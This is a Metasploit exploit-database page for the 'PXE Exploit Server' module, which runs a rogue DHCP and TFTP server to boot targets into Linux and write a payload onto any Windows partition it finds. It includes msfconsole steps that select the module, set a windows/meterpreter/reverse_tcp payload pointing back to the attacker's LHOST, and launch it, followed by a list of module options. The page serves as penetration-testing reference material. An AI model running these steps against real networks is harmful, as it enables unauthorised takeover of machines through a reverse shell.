PXE Exploit Server | Metasploit Exploit Database (DB)

PXE Exploit Server

This module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing the payload on the hard drive of any Windows partition seen. Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses.

Search Other Modules


Exploit Rank

  • Excellent

Exploit Authors

  • scriptjunkie < >

Exploit Targets

  • 0 - Windows Universal (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/misc/pxexploit
msf exploit(pxexploit) > show payloads
msf exploit(pxexploit) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(pxexploit) > set LHOST [MY IP ADDRESS]
msf exploit(pxexploit) > exploit


Exploit Module Options

SESSION A session to pivot the attack through
ContextInformationFile The information file that contains context information
DHCPIPEND The last IP to give out
DHCPIPSTART The first IP to give out
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
NETMASK The netmask of the local subnet
RESETPXE Resets the server to re-exploit already targeted hosts
SRVHOST The IP of the DHCP server
TFTPROOT The TFTP root directory to serve files from
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module